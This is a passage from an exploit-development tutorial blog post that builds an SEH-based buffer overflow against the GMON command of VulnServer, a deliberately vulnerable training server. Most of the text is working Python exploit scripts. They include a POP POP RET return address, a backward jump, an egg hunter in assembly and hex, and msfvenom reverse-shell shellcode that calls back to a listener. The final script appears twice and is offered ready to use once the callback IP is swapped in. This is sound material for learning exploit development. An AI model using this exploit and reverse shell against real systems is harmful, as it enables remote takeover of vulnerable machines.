3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6"

# and boom goes the dynamite
try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except:
        print "socket() failed"
        sys.exit(1)

s.connect((host,port))
print s.recv(4096)
s.send(payload)
print s.recv(4096)


And just like we would expect, after restarting vulnserver and then executing our proof of concept python script again we have a crash showing the following values in the SE Handler: 6D45366D

If we run the following command:

msf-pattern_offset -l 5001 -q 6D45366D


We find out that the offset into the string that is being written into the SE handler address is at position 3499

[*] Exact match at offset 3499


Controlling SE Handler

Now that we know we can control the address of the SE Handler at the strings offset 3499 let’s replace the value in SE Handler with 42424242!

A note about the math happening in the following script…anytime that I am working on an exploit I always tend to just use subtraction when dealing with lengths. We could calculate the exact lengths, etc, but I always just like to let python do it for me since it never makes a mistake :)

#!/usr/bin/python

import socket
import sys

# IP and Port for VulnServer
host = '192.168.31.132'
port = 4444

payload = "GMON /.:/"
payload += "A" * (3499)
payload += "B" * 4
payload += "C" * (5001 - 3499 - 4)

# and boom goes the dynamite
try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except:
        print "socket() failed"
        sys.exit(1)

s.connect((host,port))
print s.recv(4096)
s.send(payload)
print s.recv(4096)

And BAM … when Olly crashes (with style) we have an SE Handler value of 42424242 which means we control the address going into the address of the SE Handler!

First Crash in Olly SEH

POP POP RET

So when it comes to exploitation for an SEH based overflow (without SafeSEH protections in place) there are two things that need to happen … the first is to put four bytes of code that you would like to execute directly in front of the address of the POP POP RET and the second is to find a valid POP POP RET address that does not contain any bad characters …

In OllyDbg you can simply hit Ctrl+S and you will be greeted by a “Find sequence of commands” box, which will let us search for a sequence of commands ;)

Next we need to put in the commands to search for, and again, OllyDbg gives us a way to shortcut it a little but allowing us to replace specific registers with r32, so our search command looks like the following:

pop r32
pop r32
ret


OllyDbg sequence of commands

Some of you may have already noticed … but when writing exploits it is fairly universal that a null byte (0x00) will very often ruin all the things, and this is no exception! As such if we take a look at the Executable Modules listed we can see that vulnserver base a base address of 0x00400000 … which starts with a 0x00. While in this case we could probably actually work with that … if we keep looking we will also notice that essfunc.dll has a base address of 0x62500000 which means we have a much better chance of avoiding nulls if we focus on that assembly …

Addresses in Executable Modules

After double clicking on the essfunc entry and being taken to the CPU section for the module we can again perform our search for a pop pop ret! After hitting find we are met with our first match at address 625010B4. By hitting Ctrl+L you can continue searching for different matches as well, which comes in pretty handy when you are dealing with bad characters … in our case the first address that I was able to locate that did not contain any bad characters was at location: 625010B4 (our first match).

At this point we are ready to try to insert an actual address to jump to from the SE Handler … remember, we are dealing with little endian so our address needs to be written backwards …

#!/usr/bin/python

import socket
import sys

# IP and Port for VulnServer
host = '192.168.31.132'
port = 4444

payload = "GMON /.:/"
payload += "A" * (3499)
payload += "\xB4\x10\x50\x62"
payload += "C" * (5001 - 3499 - 4)

# and boom goes the dynamite
try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except:
        print "socket() failed"
        sys.exit(1)

s.connect((host,port))
print s.recv(4096)
s.send(payload)
print s.recv(4096)

This time before running our exploit we should again restart (and attach) vulnserver and then set a breakpoint at the address 625010B4 so that we will know if we are actually reaching our injected address! In order to do so hit CTRL+G and enter the address 625010B4 (you may have to do this twice to really get there due to a bug in olly) and then press F2 to set the breakpoint. You will know it’s set because it will be red.

Now, let’s execute our script and see if we crash again!

Just like predicted, when we run our exploit code we again break … only this time when we look at our SEH chain we see that we have successfully injected the address for the pop pop ret!

olly-crash-seh-breakpoint

And when we hit Shift+F9 to continue execution we hit our breakpoint!

olly-crash-seh-breakpoint-hit

Jump Jump

Jump Jump is indeed the path we are going to have to take … with the POP POP RET method we are going to be returned exactly four bytes before 625010B4 in our string so we will have just enough room to jmp backwards up the stack and get a little more breathing room to be able to execute a real payload!

jump-jump.png

From right clicking on the address we land on and selecting Follow in Dump we can see that we have loads of room to play with when dealing with this overflow. Really all we need to do is make sure we can jump backwards up the stack and then nop slide right into our payload … let’s give it a try…

jump-jump-jump.png

And sure enough, when we click F7 we jump 128 bytes right up the stack!

Secondary Payload

What if there was a way to insert another payload … one that we could use an egg hunter to find and execute? As long as we can get the program to process our input before the program crashes (and doesn’t cause an overflow itself) then there will an excellent chance that the entirety of our payload will be stored somewhere in the programs memory.

Let’s go ahead and generate some shellcode to test with … and what better than a reverse shell?

We can do that by issuing the following command in Kali

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.7.17 LPORT=4444 -a x86 --platform windows -f c -b '\x00'


Which returns:

Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] = 
"\xd9\xd0\xd9\x74\x24\xf4\x5d\x31\xc9\xba\x3e\xd9\xf5\xec\xb1"
"\x52\x83\xed\xfc\x31\x55\x13\x03\x6b\xca\x17\x19\x6f\x04\x55"
"\xe2\x8f\xd5\x3a\x6a\x6a\xe4\x7a\x08\xff\x57\x4b\x5a\xad\x5b"
"\x20\x0e\x45\xef\x44\x87\x6a\x58\xe2\xf1\x45\x59\x5f\xc1\xc4"
"\xd9\xa2\x16\x26\xe3\x6c\x6b\x27\x24\x90\x86\x75\xfd\xde\x35"
"\x69\x8a\xab\x85\x02\xc0\x3a\x8e\xf7\x91\x3d\xbf\xa6\xaa\x67"
"\x1f\x49\x7e\x1c\x16\x51\x63\x19\xe0\xea\x57\xd5\xf3\x3a\xa6"
"\x16\x5f\x03\x06\xe5\xa1\x44\xa1\x16\xd4\xbc\xd1\xab\xef\x7b"
"\xab\x77\x65\x9f\x0b\xf3\xdd\x7b\xad\xd0\xb8\x08\xa1\x9d\xcf"
"\x56\xa6\x20\x03\xed\xd2\xa9\xa2\x21\x53\xe9\x80\xe5\x3f\xa9"
"\xa9\xbc\xe5\x1c\xd5\xde\x45\xc0\x73\x95\x68\x15\x0e\xf4\xe4"
"\xda\x23\x06\xf5\x74\x33\x75\xc7\xdb\xef\x11\x6b\x93\x29\xe6"
"\x8c\x8e\x8e\x78\x73\x31\xef\x51\xb0\x65\xbf\xc9\x11\x06\x54"
"\x09\x9d\xd3\xfb\x59\x31\x8c\xbb\x09\xf1\x7c\x54\x43\xfe\xa3"
"\x44\x6c\xd4\xcb\xef\x97\xbf\xf9\xef\x90\x2e\x96\xed\x9e\x41"
"\x3a\x7b\x78\x0b\xd2\x2d\xd3\xa4\x4b\x74\xaf\x55\x93\xa2\xca"
"\x56\x1f\x41\x2b\x18\xe8\x2c\x3f\xcd\x18\x7b\x1d\x58\x26\x51"
"\x09\x06\xb5\x3e\xc9\x41\xa6\xe8\x9e\x06\x18\xe1\x4a\xbb\x03"
"\x5b\x68\x46\xd5\xa4\x28\x9d\x26\x2a\xb1\x50\x12\x08\xa1\xac"
"\x9b\x14\x95\x60\xca\xc2\x43\xc7\xa4\xa4\x3d\x91\x1b\x6f\xa9"
"\x64\x50\xb0\xaf\x68\xbd\x46\x4f\xd8\x68\x1f\x70\xd5\xfc\x97"
"\x09\x0b\x9d\x58\xc0\x8f\xad\x12\x48\xb9\x25\xfb\x19\xfb\x2b"
"\xfc\xf4\x38\x52\x7f\xfc\xc0\xa1\x9f\x75\xc4\xee\x27\x66\xb4"
"\x7f\xc2\x88\x6b\x7f\xc7";


That doesn’t seem too long … however it is more than 80 bytes, and with the usage of an egghunter we don’t have to worry too much about where the values are stored, as long as they are somewhere. So lets see if we can get this reverse shell in memory somewhere by putting it into the payload before our jump backwards…

#!/usr/bin/python

import socket
import sys

# IP and Port for VulnServer
host = '192.168.31.132'
port = 4444

# SEH Overwrite happens at: 6D45366D = 3499
# found a pop,pop,ret in essfunc.dll
# which is loaded in an address space
# without any null chars :)

# 625010B4   5B               POP EBX
# 625010B5   5D               POP EBP
# 625010B6   C3               RETN

pop_pop_ret = "\xB4\x10\x50\x62"

# jump back 128
jmp_back = "\x90\x90\xEB\x80"

# our reverse shell
# msfvenom -p windows/shell_reverse_tcp LHOST=10.0.7.17 LPORT=4444 -a x86 --platform windows -f c -b '\x00'
rev_shell = (

# our egg
"T00WT00W"

# nopsled for decoding if needed
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xd9\xd0\xd9\x74\x24\xf4\x5d\x31\xc9\xba\x3e\xd9\xf5\xec\xb1"
"\x52\x83\xed\xfc\x31\x55\x13\x03\x6b\xca\x17\x19\x6f\x04\x55"
"\xe2\x8f\xd5\x3a\x6a\x6a\xe4\x7a\x08\xff\x57\x4b\x5a\xad\x5b"
"\x20\x0e\x45\xef\x44\x87\x6a\x58\xe2\xf1\x45\x59\x5f\xc1\xc4"
"\xd9\xa2\x16\x26\xe3\x6c\x6b\x27\x24\x90\x86\x75\xfd\xde\x35"
"\x69\x8a\xab\x85\x02\xc0\x3a\x8e\xf7\x91\x3d\xbf\xa6\xaa\x67"
"\x1f\x49\x7e\x1c\x16\x51\x63\x19\xe0\xea\x57\xd5\xf3\x3a\xa6"
"\x16\x5f\x03\x06\xe5\xa1\x44\xa1\x16\xd4\xbc\xd1\xab\xef\x7b"
"\xab\x77\x65\x9f\x0b\xf3\xdd\x7b\xad\xd0\xb8\x08\xa1\x9d\xcf"
"\x56\xa6\x20\x03\xed\xd2\xa9\xa2\x21\x53\xe9\x80\xe5\x3f\xa9"
"\xa9\xbc\xe5\x1c\xd5\xde\x45\xc0\x73\x95\x68\x15\x0e\xf4\xe4"
"\xda\x23\x06\xf5\x74\x33\x75\xc7\xdb\xef\x11\x6b\x93\x29\xe6"
"\x8c\x8e\x8e\x78\x73\x31\xef\x51\xb0\x65\xbf\xc9\x11\x06\x54"
"\x09\x9d\xd3\xfb\x59\x31\x8c\xbb\x09\xf1\x7c\x54\x43\xfe\xa3"
"\x44\x6c\xd4\xcb\xef\x97\xbf\xf9\xef\x90\x2e\x96\xed\x9e\x41"
"\x3a\x7b\x78\x0b\xd2\x2d\xd3\xa4\x4b\x74\xaf\x55\x93\xa2\xca"
"\x56\x1f\x41\x2b\x18\xe8\x2c\x3f\xcd\x18\x7b\x1d\x58\x26\x51"
"\x09\x06\xb5\x3e\xc9\x41\xa6\xe8\x9e\x06\x18\xe1\x4a\xbb\x03"
"\x5b\x68\x46\xd5\xa4\x28\x9d\x26\x2a\xb1\x50\x12\x08\xa1\xac"
"\x9b\x14\x95\x60\xca\xc2\x43\xc7\xa4\xa4\x3d\x91\x1b\x6f\xa9"
"\x64\x50\xb0\xaf\x68\xbd\x46\x4f\xd8\x68\x1f\x70\xd5\xfc\x97"
"\x09\x0b\x9d\x58\xc0\x8f\xad\x12\x48\xb9\x25\xfb\x19\xfb\x2b"
"\xfc\xf4\x38\x52\x7f\xfc\xc0\xa1\x9f\x75\xc4\xee\x27\x66\xb4"
"\x7f\xc2\x88\x6b\x7f\xc7"
)

payload = "GMON /.:/"
payload += "A" * (3499 - len(jmp_back) - 200 - len(rev_shell))
payload += rev_shell
payload += "A" * 200

# jump backwards up the stack 128 bytes
payload += "\xEB\x80\xEB\x80"

# address of pop pop ret
# 0x625010B4
payload += pop_pop_ret

# rest of payload to pop stack
payload += "C" * (5001 - 3499 - len(pop_pop_ret))

# and boom goes the dynamite
try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except:
        print "socket() failed"
        sys.exit(1)

s.connect((host,port))
print s.recv(4096)
s.send(payload)
print s.recv(4096)


And what do you know … after we hit our breakpoint we can search the memory (with CTRL+B) from the Memory Map window for T00WT00W and sure enough … our secondary payload is sitting in the memory awaiting an egghunter for search it out and run it!

T00WT00W.png

Hunter of Eggs

Ok, so we now know that our egg is stored in memory … lets call upon our hunter of eggs to search out that location in memory and then jump to it!

If you are not familiar with the concept of an egg hunter I would encourage you to check out this awesome write up by fuzzy security: http://www.fuzzysecurity.com/tutorials/expDev/4.html

There are lots of egg hunters floating around, however I tweaked one a bit and generally use the following:

loop_inc_page:
	or    dx, 0x0fff                    ; Add PAGE_SIZE-1 to edx
loop_inc_one:
	inc   edx                           ; Increment our pointer by one
loop_check:
	push  edx                           ; Save edx

	xor ebx, ebx                        ; zero out ebx
	inc ebx                             ; add one to ebx
	inc ebx                             ; add one to ebx
	push ebx                            ; Push NtAccessCheckAndAuditAlarm
	
	pop   eax                           ; Pop into eax
	int   0x2e                          ; Perform the syscall
	cmp   al, 0x05                      ; Did we get 0xc0000005 (ACCESS_VIOLATION) ?
	pop   edx                           ; Restore edx
loop_check_8_valid: 
	je    loop_inc_page                 ; Yes, invalid ptr, go to the next page

is_egg:
	mov   eax, 0x57303054               ; Throw our egg in eax
	mov   edi, edx                      ; Set edi to the pointer we validated
	scasd                               ; Compare the dword in edi to eax
	jnz   loop_inc_one                  ; No match? Increment the pointer by one
	scasd                               ; Compare the dword in edi to eax again (which is now edx + 4)
	jnz   loop_inc_one                  ; No match? Increment the pointer by one

matched:
	jmp   edi                           ; Found the egg.  Jump 8 bytes past it into our code.


Which after linked and dumped into hex will translate into the following:

"\x66\x81\xca\xff\x0f\x42\x52\x31\xdb\x43\x43\x53\x58\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x54\x30\x30\x57\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"


Final Touches

Time to put the final touches on our exploit script …

#!/usr/bin/python

# Title     : VulnServer SEH Overflow in GMON
# OS        : Windows XP Pro SP3 x86 English
# Name      : Jonathan "Chops" Crosby
# Email     : [email protected]
# Twitter   : @securitychops
# Website   : https://securitychops.com

import socket
import sys

# IP and Port for VulnServer
host = '192.168.31.132'
port = 4444

# SEH Overwrite happens at: 6D45366D = 3499
# found a pop,pop,ret in essfunc.dll
# which is loaded in an address space
# without any null chars :)

# 625010B4   5B               POP EBX
# 625010B5   5D               POP EBP
# 625010B6   C3               RETN

pop_pop_ret = "\xB4\x10\x50\x62"

# jump back 128
jmp_back = "\x90\x90\xEB\x80"

# our reverse shell
# msfvenom -p windows/shell_reverse_tcp LHOST=10.0.7.17 LPORT=4444 -a x86 --platform windows -f c -b '\x00'
rev_shell = (

# our egg
"T00WT00W"

# nopsled for decoding if needed
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xd9\xd0\xd9\x74\x24\xf4\x5d\x31\xc9\xba\x3e\xd9\xf5\xec\xb1"
"\x52\x83\xed\xfc\x31\x55\x13\x03\x6b\xca\x17\x19\x6f\x04\x55"
"\xe2\x8f\xd5\x3a\x6a\x6a\xe4\x7a\x08\xff\x57\x4b\x5a\xad\x5b"
"\x20\x0e\x45\xef\x44\x87\x6a\x58\xe2\xf1\x45\x59\x5f\xc1\xc4"
"\xd9\xa2\x16\x26\xe3\x6c\x6b\x27\x24\x90\x86\x75\xfd\xde\x35"
"\x69\x8a\xab\x85\x02\xc0\x3a\x8e\xf7\x91\x3d\xbf\xa6\xaa\x67"
"\x1f\x49\x7e\x1c\x16\x51\x63\x19\xe0\xea\x57\xd5\xf3\x3a\xa6"
"\x16\x5f\x03\x06\xe5\xa1\x44\xa1\x16\xd4\xbc\xd1\xab\xef\x7b"
"\xab\x77\x65\x9f\x0b\xf3\xdd\x7b\xad\xd0\xb8\x08\xa1\x9d\xcf"
"\x56\xa6\x20\x03\xed\xd2\xa9\xa2\x21\x53\xe9\x80\xe5\x3f\xa9"
"\xa9\xbc\xe5\x1c\xd5\xde\x45\xc0\x73\x95\x68\x15\x0e\xf4\xe4"
"\xda\x23\x06\xf5\x74\x33\x75\xc7\xdb\xef\x11\x6b\x93\x29\xe6"
"\x8c\x8e\x8e\x78\x73\x31\xef\x51\xb0\x65\xbf\xc9\x11\x06\x54"
"\x09\x9d\xd3\xfb\x59\x31\x8c\xbb\x09\xf1\x7c\x54\x43\xfe\xa3"
"\x44\x6c\xd4\xcb\xef\x97\xbf\xf9\xef\x90\x2e\x96\xed\x9e\x41"
"\x3a\x7b\x78\x0b\xd2\x2d\xd3\xa4\x4b\x74\xaf\x55\x93\xa2\xca"
"\x56\x1f\x41\x2b\x18\xe8\x2c\x3f\xcd\x18\x7b\x1d\x58\x26\x51"
"\x09\x06\xb5\x3e\xc9\x41\xa6\xe8\x9e\x06\x18\xe1\x4a\xbb\x03"
"\x5b\x68\x46\xd5\xa4\x28\x9d\x26\x2a\xb1\x50\x12\x08\xa1\xac"
"\x9b\x14\x95\x60\xca\xc2\x43\xc7\xa4\xa4\x3d\x91\x1b\x6f\xa9"
"\x64\x50\xb0\xaf\x68\xbd\x46\x4f\xd8\x68\x1f\x70\xd5\xfc\x97"
"\x09\x0b\x9d\x58\xc0\x8f\xad\x12\x48\xb9\x25\xfb\x19\xfb\x2b"
"\xfc\xf4\x38\x52\x7f\xfc\xc0\xa1\x9f\x75\xc4\xee\x27\x66\xb4"
"\x7f\xc2\x88\x6b\x7f\xc7"
)

# egg hunter to search for T00WT00W
egg_hunter = (
"\x66\x81\xca\xff\x0f\x42\x52\x31\xdb\x43\x43\x53\x58\xcd\x2e"
"\x3c\x05\x5a\x74\xec\xb8\x54\x30\x30\x57\x89\xd7\xaf\x75\xe7"
"\xaf\x75\xe4\xff\xe7"
)

payload = "GMON /.:/"
payload += "A" * (3499 - len(jmp_back) - 200 - len(rev_shell))
payload += rev_shell
payload += "A" * (200 - 80 - len(egg_hunter))
payload += egg_hunter
payload += "A" * 80

# jump backwards up the stack 128 bytes
payload += "\xEB\x80\xEB\x80"

# address of pop pop ret
# 0x625010B4
payload += pop_pop_ret

# rest of payload to pop stack
payload += "C" * (5001 - 3499 - len(pop_pop_ret))

# and boom goes the dynamite
try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except:
        print "socket() failed"
        sys.exit(1)

s.connect((host,port))
print s.recv(4096)
s.send(payload)
print s.recv(4096)


Now that we have all of our eggs in a row lets run the final exploit script and see what happens …

In what should not be a shock at this point … we are able to hit our breakpoint in Olly, take the jump backwards and are sliding right into our egghunter shellcode that is now on the stack …

eggy.png

Call Me Maybe …

Lets go ahead and get a netcat listener open on port 4444 and hit F9 and watch that reverse shell connect on in …

sploited.png

Final_Exploits:

Below is the final exploit that will produce full reverse shells, all that needs to be done is to replace the payload with one for your IP address.

#!/usr/bin/python

# Title     : VulnServer SEH Overflow in GMON
# OS        : Windows XP Pro SP3 x86 English
# Name      : Jonathan "Chops" Crosby
# Email     : [email protected]
# Twitter   : @securitychops
# Website   : https://securitychops.com

import socket
import sys

# IP and Port for VulnServer
host = '192.168.31.132'
port = 4444

# SEH Overwrite happens at: 6D45366D = 3499
# found a pop,pop,ret in essfunc.dll
# which is loaded in an address space
# without any null chars :)

# 625010B4   5B               POP EBX
# 625010B5   5D               POP EBP
# 625010B6   C3               RETN

pop_pop_ret = "\xB4\x10\x50\x62"

# jump back 128
jmp_back = "\x90\x90\xEB\x80"

# our reverse shell
# msfvenom -p windows/shell_reverse_tcp LHOST=10.0.7.17 LPORT=4444 -a x86 --platform windows -f c -b '\x00'
rev_shell = (

# our egg
"T00WT00W"

# nopsled for decoding if needed
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xd9\xd0\xd9\x74\x24\xf4\x5d\x31\xc9\xba\x3e\xd9\xf5\xec\xb1"
"\x52\x83\xed\xfc\x31\x55\x13\x03\x6b\xca\x17\x19\x6f\x04\x55"
"\xe2\x8f\xd5\x3a\x6a\x6a\xe4\x7a\x08\xff\x57\x4b\x5a\xad\x5b"
"\x20\x0e\x45\xef\x44\x87\x6a\x58\xe2\xf1\x45\x59\x5f\xc1\xc4"
"\xd9\xa2\x16\x26\xe3\x6c\x6b\x27\x24\x90\x86\x75\xfd\xde\x35"
"\x69\x8a\xab\x85\x02\xc0\x3a\x8e\xf7\x91\x3d\xbf\xa6\xaa\x67"
"\x1f\x49\x7e\x1c\x16\x51\x63\x19\xe0\xea\x57\xd5\xf3\x3a\xa6"
"\x16\x5f\x03\x06\xe5\xa1\x44\xa1\x16\xd4\xbc\xd1\xab\xef\x7b"
"\xab\x77\x65\x9f\x0b\xf3\xdd\x7b\xad\xd0\xb8\x08\xa1\x9d\xcf"
"\x56\xa6\x20\x03\xed\xd2\xa9\xa2\x21\x53\xe9\x80\xe5\x3f\xa9"
"\xa9\xbc\xe5\x1c\xd5\xde\x45\xc0\x73\x95\x68\x15\x0e\xf4\xe4"
"\xda\x23\x06\xf5\x74\x33\x75\xc7\xdb\xef\x11\x6b\x93\x29\xe6"
"\x8c\x8e\x8e\x78\x73\x31\xef\x51\xb0\x65\xbf\xc9\x11\x06\x54"
"\x09\x9d\xd3\xfb\x59\x31\x8c\xbb\x09\xf1\x7c\x54\x43\xfe\xa3"
"\x44\x6c\xd4\xcb\xef\x97\xbf\xf9\xef\x90\x2e\x96\xed\x9e\x41"
"\x3a\x7b\x78\x0b\xd2\x2d\xd3\xa4\x4b\x74\xaf\x55\x93\xa2\xca"
"\x56\x1f\x41\x2b\x18\xe8\x2c\x3f\xcd\x18\x7b\x1d\x58\x26\x51"
"\x09\x06\xb5\x3e\xc9\x41\xa6\xe8\x9e\x06\x18\xe1\x4a\xbb\x03"
"\x5b\x68\x46\xd5\xa4\x28\x9d\x26\x2a\xb1\x50\x12\x08\xa1\xac"
"\x9b\x14\x95\x60\xca\xc2\x43\xc7\xa4\xa4\x3d\x91\x1b\x6f\xa9"
"\x64\x50\xb0\xaf\x68\xbd\x46\x4f\xd8\x68\x1f\x70\xd5\xfc\x97"
"\x09\x0b\x9d\x58\xc0\x8f\xad\x12\x48\xb9\x25\xfb\x19\xfb\x2b"
"\xfc\xf4\x38\x52\x7f\xfc\xc0\xa1\x9f\x75\xc4\xee\x27\x66\xb4"
"\x7f\xc2\x88\x6b\x7f\xc7"
)

# egg hunter to search for T00WT00W
egg_hunter = (
"\x66\x81\xca\xff\x0f\x42\x52\x31\xdb\x43\x43\x53\x58\xcd\x2e"
"\x3c\x05\x5a\x74\xec\xb8\x54\x30\x30\x57\x89\xd7\xaf\x75\xe7"
"\xaf\x75\xe4\xff\xe7"
)

payload = "GMON /.:/"
payload += "A" * (3499 - len(jmp_back) - 200 - len(rev_shell))
payload += rev_shell
payload += "A" * (200 - 80 - len(egg_hunter))
payload += egg_hunter
payload += "A" * 80

# jump backwards up the stack 128 bytes
payload += "\xEB\x80\xEB\x80"

# address of pop pop ret
# 0x625010B4
payload += pop_pop_ret

# rest of payload to pop stack
payload += "C" * (5001 - 3499 - len(pop_pop_ret))

# and boom goes the dynamite
try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except:
        print "socket() failed"
        sys.exit(1)

s.connect((host,port))
print s.recv(4096)
s.send(payload)
print s.recv(4096)

Jonathan Crosby

growing my chops in cybersecurity
(all opinions are my own and not the views of my employer)